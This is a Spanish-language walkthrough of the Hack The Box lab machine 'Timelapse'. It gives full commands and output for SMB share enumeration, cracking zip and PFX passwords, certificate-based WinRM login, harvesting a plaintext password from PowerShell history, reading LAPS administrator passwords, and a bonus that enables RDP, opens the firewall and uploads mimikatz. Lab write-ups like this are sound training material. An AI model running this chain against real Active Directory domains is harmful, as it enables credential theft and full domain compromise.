Timelapse
Dificultad: Easy - OS: Windows
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nmap -sCV --open -T4 -v -n 10.10.11.152
Resultado:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-13 11:24:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_ssl-date: 2025-06-13T11:25:42+00:00; +7h50m44s from scanner time.
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Issuer: commonName=dc01.timelapse.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-10-25T14:05:29
| Not valid after: 2022-10-25T14:25:29
| MD5: e233:a199:4504:0859:013f:b9c5:e4f6:91c3
|_SHA-1: 5861:acf7:76b8:703f:d01e:e25d:fc7c:9952:a447:7652
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_ http/1.1
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-13T11:25:04
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h50m43s, deviation: 0s, median: 7h50m43s
En síntesis:
| Puerto | Estado | Servicio | Protocolo |
|----------|--------|--------------------|-----------|
| 53/tcp | open | domain | tcp |
| 88/tcp | open | kerberos-sec | tcp |
| 135/tcp | open | msrpc | tcp |
| 139/tcp | open | netbios-ssn | tcp |
| 389/tcp | open | ldap | tcp |
| 445/tcp | open | microsoft-ds | tcp |
| 464/tcp | open | kpasswd5 | tcp |
| 593/tcp | open | ncacn_http | tcp |
| 636/tcp | open | ldapssl | tcp |
| 3268/tcp | open | ldap | tcp |
| 3269/tcp | open | globalcatLDAPssl | tcp |
| 5986/tcp | open | ssl/http | tcp |
Algunos de los elementos que nos reveló el escaneo de nmap y que son relevantes para este contexto:
El puerto 445/tcp (SMB) está abierto y permite el acceso a recursos compartidos. Es el primer vector que podemos explotar para obtener archivos sensibles.
El puerto 5986/tcp (WinRM sobre SSL) está abierto, lo que nos permitirá autenticarnos de manera remota utilizando credenciales o certificados que hallemos más adelante.
Los puertos 389/tcp, 636/tcp, 3268/tcp y 3269/tcp muestran que la máquina es parte de un dominio Active Directory (dominio
timelapse.htb
), lo cual es clave para entender la estructura de privilegios y para la posterior explotación de LAPS.El puerto 88/tcp confirma la presencia de Kerberos, lo que indica que la autenticación centralizada está habilitada y que podríamos encontrarnos con tickets o configuraciones útiles.
El puerto 445 permite enumerar shares SMB sin autenticación, desde donde se podrá obtener el archivo ZIP que inicia la cadena de explotación.
La diferencia horaria del servidor kerberos con mi equipo Kali: esto es importante en contextos de Kerberos, ya que este protocolo es muy sensible a la sincronización horaria. Una diferencia mayor a 5 minutos por defecto puede causar que el cliente no pueda autenticarse correctamente, afectando herramientas como
Kerbrute
oimpacket
cuando se realizan ataques como AS-REP Roasting o Kerberoasting.Nmap también detectó información útil de dominio a través de servicios como LDAP y RDP (
rdp-ntlm-info
y certificados SSL), incluyendo:timelapse.htb
(dominio principal)dc01.timelapse.htb
(nombre FQDN del controlador de dominio)DC01
(nombre del host NetBIOS)
Para asegurar una correcta resolución DNS durante el CTF (especialmente para herramientas que dependen del nombre de dominio o de servicios Kerberos), es necesario mapear la IP de la máquina al dominio en el
/etc/hosts
del equipo Kali
Para setear estas últimas configuraciones vamos a usar los siguientes comandos:
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# echo "10.10.11.152 timelapse.htb dc01.timelapse.htb" >> /etc/hosts
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ntpdate 10.10.11.152
2025-06-13 09:42:09.322139 (-0400) +28244.066116 +/- 0.114962 10.10.11.152 s1 no-leap
CLOCK: time stepped by 28244.066116
Enumerando recursos del SMB con NXC
Aprovechando que se encuentra disponible el servicio SMB
podemos intentar una enumeración de recursos autenticándonos como usuario guest
(anónimo) mediante nxc
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nxc smb timelapse.htb -u 'guest' -p '' --shares
SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\guest:
SMB 10.10.11.152 445 DC01 [*] Enumerated shares
SMB 10.10.11.152 445 DC01 Share Permissions Remark
SMB 10.10.11.152 445 DC01 ----- ----------- ------
SMB 10.10.11.152 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.152 445 DC01 C$ Default share
SMB 10.10.11.152 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.152 445 DC01 NETLOGON Logon server share
SMB 10.10.11.152 445 DC01 Shares READ
SMB 10.10.11.152 445 DC01 SYSVOL Logon server share
Tenemos permisos de lectura sobre los recursos IPC
y Shares
. Ahora vamos a hacer uso del módulo --spider
de nxc para enumerar todos los archivos que se encuentren allí y buscar alguno que nos resulte interesante para descargar
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nxc smb timelapse.htb -u 'guest' -p '' --spider Shares --regex "."
SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\guest:
SMB 10.10.11.152 445 DC01 [*] Started spidering
SMB 10.10.11.152 445 DC01 [*] Spidering .
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/. [dir]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/.. [dir]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/Dev [dir]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/HelpDesk [dir]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/Dev/. [dir]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/Dev/.. [dir]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/Dev/winrm_backup.zip [lastm:'2021-10-25 17:05' size:2611]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/HelpDesk/. [dir]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/HelpDesk/.. [dir]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/HelpDesk/LAPS.x64.msi [lastm:'2021-10-25 11:55' size:1118208]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/HelpDesk/LAPS_Datasheet.docx [lastm:'2021-10-25 11:55' size:104422]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/HelpDesk/LAPS_OperationsGuide.docx [lastm:'2021-10-25 11:55' size:641378]
SMB 10.10.11.152 445 DC01 //10.10.11.152/Shares/HelpDesk/LAPS_TechnicalSpecification.docx [lastm:'2021-10-25 11:55' size:72683]
SMB 10.10.11.152 445 DC01 [*] Done spidering (Completed in 4.209821462631226)
Encontramos expuesto el archivo winrm_backup.zip
, si lo queremos analizar en nuestro equipo lo tenemos que descargar de la siguiente manera
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nxc smb timelapse.htb -u 'guest' -p '' --share Shares --get-file "Dev/winrm_backup.zip" "winrm_backup.zip"
SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\guest:
SMB 10.10.11.152 445 DC01 [*] Copying "Dev/winrm_backup.zip" to "winrm_backup.zip"
SMB 10.10.11.152 445 DC01 [+] File "Dev/winrm_backup.zip" was downloaded to "winrm_backup.zip"
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ls
winrm_backup.zip
Password cracking con John
Al intentar descomprimir este archivo zip nos solicitan una contraseña, pero como no contamos con ella lo que vamos a realizar es una extracción del hash del archivo comprimido usando el complemento zip2john para después crackearlo con John the Ripper
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# zip2john winrm_backup.zip > hash.txt
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# john -w=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2025-06-14 02:17) 3.448g/s 11963Kp/s 11963Kc/s 11963KC/s surkerior..suppamas
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Una vez que John nos devuelva la password del zip, lo descomprimimos y nos vamos a encontrar con un archivo de extensión .pfx
el cual también se encuentra protegido con contraseña
¿Qué representa la extención .pfx
?
La extensión .pfx
corresponde a un archivo en formato PKCS#12, un contenedor cifrado que agrupa un certificado digital (clave pública) junto con su clave privada y, en algunos casos, una cadena de certificados intermedios. Este tipo de archivo se utiliza comúnmente para la autenticación y el cifrado en redes seguras, especialmente en entornos Windows, donde puede emplearse para habilitar la autenticación de usuarios o servicios mediante certificados. Los archivos .pfx
suelen estar protegidos por contraseña y son utilizados, por ejemplo, para configurar conexiones seguras como WinRM sobre HTTPS, firmar software, o importar certificados a sistemas que requieren confianza criptográfica entre clientes y servidores.
Por suerte John cuenta con otro complementó que nos permite extraer hashes de este tipo de archivos para luego crackearlos y obtener su contraseña
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfx
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ls
hash.txt legacyy_dev_auth.pfx winrm_backup.zip
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# pfx2john legacyy_dev_auth.pfx > pfxhash
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# john -w=/usr/share/wordlists/rockyou.txt pfxhash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:01:00 DONE (2025-06-14 02:20) 0.01653g/s 53417p/s 53417c/s 53417C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
PFX credential abuse
Ahora vamos a usar openssl
para extraer los componentes internos del archivo .pfx
(legacyy_dev_auth.pfx
), que contiene un certificado digital y una clave privada, utilizando la contraseña que John nos devolvió. Estas dos salidas (certificate.pem
y private-key.pem
) son los componentes necesarios para autenticarse mediante el servicio WinRM con certificados
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private-key.pem -nodes -password pass:thuglegacy
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out certificate.pem -password pass:thuglegacy
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ls
certificate.pem hash.txt legacyy_dev_auth.pfx pfxhash private-key.pem winrm_backup.zip
Certificate-based authentication abuse
Ya tenemos los certificados en nuestro poder, pero ahora ¿cómo los utilizamos? si revisamos el manual de comandos de EvilWinRM vamos a encontrar el parámetro -c
y -k
que son los que nos permitirán autenticarnos con certificados digitales, en vez de utilizar las credenciales por defecto, entonces eso es lo que haremos ahora
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# evil-winrm
Evil-WinRM shell v3.7
Error: missing argument: ip, user
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
-S, --ssl Enable ssl
-a, --user-agent USERAGENT Specify connection user-agent (default Microsoft WinRM Client)
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
-r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH Powershell scripts local path
--spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP)
-e, --executables EXES_PATH C# executables local path
-i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required)
-U, --url URL Remote url endpoint (default /wsman)
-u, --user USER Username (required if not using kerberos)
-p, --password PASS Password
-H, --hash HASH NTHash
-P, --port PORT Remote host port (default 5985)
-V, --version Show version
-n, --no-colors Disable colors
-N, --no-rpath-completion Disable remote path completion
-l, --log Log the WinRM session
-h, --help Display this help message
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# evil-winrm -i 10.10.11.152 -c certificate.pem -k private-key.pem -S
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents>
Local enumeration
Una vez que logramos ingresar al equipo comprometido y tenemos RCE lo mejor es centrarnos en recolectar información crítica del entorno con el objetivo de:
Identificar usuarios privilegiados o cuentas de interés.
Enumerar pertenencias a grupos (
net user
,whoami /groups
).Revisar archivos sensibles (como historiales, scripts, contraseñas almacenadas).
Detectar servicios, tareas programadas o configuraciones mal implementadas.
Evaluar posibles vectores de escalada (como LAPS, ACLs, binarios con privilegios, etc.).
*Evil-WinRM* PS C:\Users\legacyy\Desktop> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator babywyrm Guest
krbtgt legacyy payl0ad
sinfulz svc_deploy thecybergeek
TRX
The command completed with one or more errors.
*Evil-WinRM* PS C:\Users\legacyy\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\legacyy\Desktop> net user TRX
User name TRX
Full Name TRX
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/23/2022 6:43:45 PM
Password expires Never
Password changeable 2/24/2022 6:43:45 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/15/2025 5:54:13 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Domain Admins
The command completed successfully.
*Evil-WinRM* PS C:\Users\legacyy\Desktop> net user svc_deploy
User name svc_deploy
Full Name svc_deploy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/25/2021 12:12:37 PM
Password expires Never
Password changeable 10/26/2021 12:12:37 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/25/2021 12:25:53 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS_Readers *Domain Users
The command completed successfully.
Al enumerar la información de los usuarios del sistema pudimos encontrar los siguientes objetivos de alto riesgo para escalar privilegios:
El usuario
TRX
pertenece al grupoDomain Admins
Domain Admins
es el grupo más privilegiado en un dominio de Active Directory. Cualquier cuenta que pertenezca a ese grupo tiene control total sobre el dominio, incluyendo la capacidad de ejecutar comandos en cualquier máquina, extraer hashes, y modificar políticas.Puede ser útil para ataques tipo DCSync o dumping de
ntds.dit
si llegás a un controlador de dominio.
2. El usuario svc_deploy
pertenece al grupo LAPS_Readers
El grupo
LAPS_Readers
tiene permiso para leer las contraseñas administradas por LAPS (Local Administrator Password Solution), que se almacenan en el atributoms-Mcs-AdmPwd
de los objetos de equipo en Active Directory.Esto habilita un vector de escalada de privilegios vertical, ya que podemos usar LDAP o un módulo de PowerShell para leer la contraseña del administrador local de máquinas del dominio, incluyendo el propio DC.
3. Privilegios habilitados (whoami /priv
)
SeMachineAccountPrivilege: permite agregar equipos al dominio.
SeChangeNotifyPrivilege: privilegio común, generalmente irrelevante.
SeIncreaseWorkingSetPrivilege: también de bajo impacto.
Por qué es importante: Aunque no hay privilegios como
SeImpersonatePrivilege
oSeDebugPrivilege
(que son típicos vectores de escalada en entornos locales), la presencia deSeMachineAccountPrivilege
puede ser útil en algunos contextos de dominio para ataques como Resource-based Constrained Delegation (RBCD), si se combinan con otras condiciones.
Otro elemento que podemos inspeccionar en busca de credenciales filtradas es el history powershell del usuario legacy, por default la ruta a este tipo de archivos es
AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Otra forma más exhaustiva de enumeración local es cargando el winPEASx64.exe
y ejecutarlo, allí también podemos encontrar la ruta a este archivo
*Evil-WinRM* PS C:\Users\legacyy> type AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
Una vez que logramos obtener un nuevo par de credenciales lo más recomendable es testear a que servicios nos podemos conectar/logear, de esta forma tendremos una idea de por donde continuar el ataque/intrusión. Para automatizar esta tarea diseñe un script en bash que lo podes obtener del siguiente repositorio: service_validation.sh
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# service_validation.sh timelapse.htb svc_deploy 'E3R$Q62^12p7PLlC%KWaxuaV'
[*] Probando credenciales contra timelapse.htb con usuario 'svc_deploy'...
--- Probando smb ---
SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
--- Probando ldap ---
SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.152 389 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
--- Probando winrm ---
WINRM-SSL 10.10.11.152 5986 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WINRM-SSL 10.10.11.152 5986 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV (Pwn3d!)
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.11.152 135 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
RPC 10.10.11.152 135 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
--- Probando ftp ---
--- Probando ssh ---
Nos confirma el acceso al servicio winrm y lo que vamos a hacer es directamente descargar las credenciales de administrador local aprovechando el permiso LAPS_Readers
del usuario svc_deploy
LAPSReader privilege abuse
LAPSReader privilege abuse es una técnica de post-explotación en la que un atacante, con acceso a una cuenta perteneciente al grupo LAPS_Readers (o con privilegios equivalentes), consulta el atributo ms-Mcs-AdmPwd
de objetos de equipo en Active Directory. Este atributo contiene en texto claro la contraseña del administrador local gestionada automáticamente por LAPS (Local Administrator Password Solution). Algunas de las opciones para explotar este privilegio son:
*Evil-WinRM* PS C:\temp> Get-ADComputer -Filter * -Property ms-MCS-AdmPwd | Select-Object Name, ms-MCS-AdmPwd
Name ms-MCS-AdmPwd
---- -------------
DC01 W+Oyp}1)lD;kgIe%m},N2+4f
DB01
WEB01
DEV01
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# bloodyAD --host '10.10.11.152' -d 'timelapse.htb' -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
distinguishedName: CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
ms-Mcs-AdmPwd: W+Oyp}1)lD;kgIe%m},N2+4f
ms-Mcs-AdmPwdExpirationTime: 133948976302622067
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nxc ldap 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.152 389 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS 10.10.11.152 389 DC01 [*] Getting LAPS Passwords
LAPS 10.10.11.152 389 DC01 Computer:DC01$ User: Password:W+Oyp}1)lD;kgIe%m},N2+4f
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ldapsearch -x -H ldap://DC01.timelapse.htb -D 'svc_deploy@timelapse.htb' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b 'DC=timelapse,DC=htb' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd
# extended LDIF
#
# LDAPv3
# base <DC=timelapse,DC=htb> with scope subtree
# filter: (ms-Mcs-AdmPwd=*)
# requesting: ms-Mcs-AdmPwd
#
# DC01, Domain Controllers, timelapse.htb
dn: CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
ms-Mcs-AdmPwd: W+Oyp}1)lD;kgIe%m},N2+4f
# search reference
ref: ldap://ForestDnsZones.timelapse.htb/DC=ForestDnsZones,DC=timelapse,DC=htb
# search reference
ref: ldap://DomainDnsZones.timelapse.htb/DC=DomainDnsZones,DC=timelapse,DC=htb
# search reference
ref: ldap://timelapse.htb/CN=Configuration,DC=timelapse,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 5
# numEntries: 1
# numReferences: 3
Volvemos a testear estas credenciales con services_validation.sh y vamos a ver que tenemos acceso a casi todos los servicios, por lo tanto solo quedaría conectarnos al winrm y buscar las flags para terminar con el CTF
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# service_validation.sh timelapse.htb Administrator 'W+Oyp}1)lD;kgIe%m},N2+4f'
[*] Probando credenciales contra timelapse.htb con usuario 'Administrator'...
--- Probando smb ---
SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\Administrator:W+Oyp}1)lD;kgIe%m},N2+4f (Pwn3d!)
--- Probando ldap ---
SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.152 389 DC01 [+] timelapse.htb\Administrator:W+Oyp}1)lD;kgIe%m},N2+4f (Pwn3d!)
--- Probando winrm ---
WINRM-SSL 10.10.11.152 5986 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WINRM-SSL 10.10.11.152 5986 DC01 [+] timelapse.htb\Administrator:W+Oyp}1)lD;kgIe%m},N2+4f (Pwn3d!)
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.11.152 135 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WMI 10.10.11.152 135 DC01 [+] timelapse.htb\Administrator:W+Oyp}1)lD;kgIe%m},N2+4f (Pwn3d!)
--- Probando ftp ---
--- Probando ssh ---
Bonus: habilitar la conexión RDP y apagar el defender para jugar con mimikatz

Aprovechando la sesión del usuario Administrator podemos realizar el siguiente paso a paso para obtener una conexión por RDP:
Habilitar RDP en el equipo comprometido
Abrir el firewall
Redirigir el puerto 3389 (RDP) con socat
Conectarte desde el Kali vía RDP
1) Desde la sesión de EvilWinRM del usuario Administrator habilitamos las conexiones RDP entrantes en el sistema, luego creamos las reglas del firewall para permitir el tráfico RDP (abrimos el puerto 3389 para TCP y UDP) y reiniciamos el servicio RDP. Por último dejamos cargado el ejecutable de mimikatz para usarlo desde rdp cuando nos conectemos
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# evil-winrm -i 10.10.11.152 -u 'Administrator' -p '36/,86v7,A6evZ82P%ktR.l8' -S
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
*Evil-WinRM* PS C:\Users\Administrator\Documents> New-NetFirewallRule -DisplayName "Allow RDP TCP" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Allow
*Evil-WinRM* PS C:\Users\Administrator\Documents>New-NetFirewallRule -DisplayName "Allow RDP UDP" -Direction Inbound -Protocol UDP -LocalPort 3389 -Action Allow
Name : {6d3f9ec5-20c4-47d4-bbb4-1ee052f8aa60}
DisplayName : Allow RDP TCP
Description :
DisplayGroup :
Group :
Enabled : True
Profile : Any
Platform : {}
Direction : Inbound
Action : Allow
EdgeTraversalPolicy : Block
LooseSourceMapping : False
LocalOnlyMapping : False
Owner :
PrimaryStatus : OK
Status : The rule was parsed successfully from the store. (65536)
EnforcementStatus : NotApplicable
PolicyStoreSource : PersistentStore
PolicyStoreSourceType : Local
Name : {deb291ea-57b7-492a-8083-78f027dd00b6}
DisplayName : Allow RDP UDP
Description :
DisplayGroup :
Group :
Enabled : True
Profile : Any
Platform : {}
Direction : Inbound
Action : Allow
EdgeTraversalPolicy : Block
LooseSourceMapping : False
LocalOnlyMapping : False
Owner :
PrimaryStatus : OK
Status : The rule was parsed successfully from the store. (65536)
EnforcementStatus : NotApplicable
PolicyStoreSource : PersistentStore
PolicyStoreSourceType : Local
*Evil-WinRM* PS C:\Users\Administrator\Documents> Restart-Service -Name TermService -Force
*Evil-WinRM* PS C:\Users\Administrator\Documents> upload mimikatz.exe
Info: Uploading /home/kali/Documents/HTB/TIMELAPSE/mimikatz.exe to C:\Users\Administrator\Documents\mimikatz.exe
Data: 1807016 bytes of 1807016 bytes copied
Info: Upload successful!
Paso opcional: si queremos conectarnos por RDP desde un segundo equipo que no se encuentra conectado a la VPN de HTB (por ejemplo mi equipo windows local), usamos socat, en la shell de Kali, para puentear la conexión a mi Windows:
┌──(root㉿kali)-[/home/kali]
└─# socat TCP-LISTEN:3389,fork TCP:10.10.11.152:3389
2025/06/16 01:13:00 socat[36847] E read(5, 0x55bea48bd000, 8192): Connection reset by peer
Esto crea una escucha local en Kali (puerto 3389) que reenvía todo el tráfico al puerto RDP de la máquina víctima. ¿Por qué usamos socat
? Porque HTB solo permite una conexión VPN activa por cuenta. Esto impide conectarnos directamente desde otro sistema Windows a la IP remota de HTB.
Con socat
, Kali actúa como intermediario, reenviando el tráfico RDP a través de la VPN.
3) Nos conectamos via RDP desde Kali
┌──(root㉿kali)-[/home/kali]
└─# xfreerdp3 /v:127.0.0.1 /u:'timelapse.htb\Administrator' /p:'36/,86v7,A6evZ82P%ktR.l8'
[01:13:21:051] [37052:000090bd] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[01:13:21:051] [37052:000090bd] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5D -> no RDP scancode found
[01:13:22:086] [37052:000090bd] [WARN][com.freerdp.crypto] - [verify_cb]: Certificate verification failure 'self-signed certificate (18)' at stack position 0
[01:13:22:086] [37052:000090bd] [WARN][com.freerdp.crypto] - [verify_cb]: CN = dc01.timelapse.htb
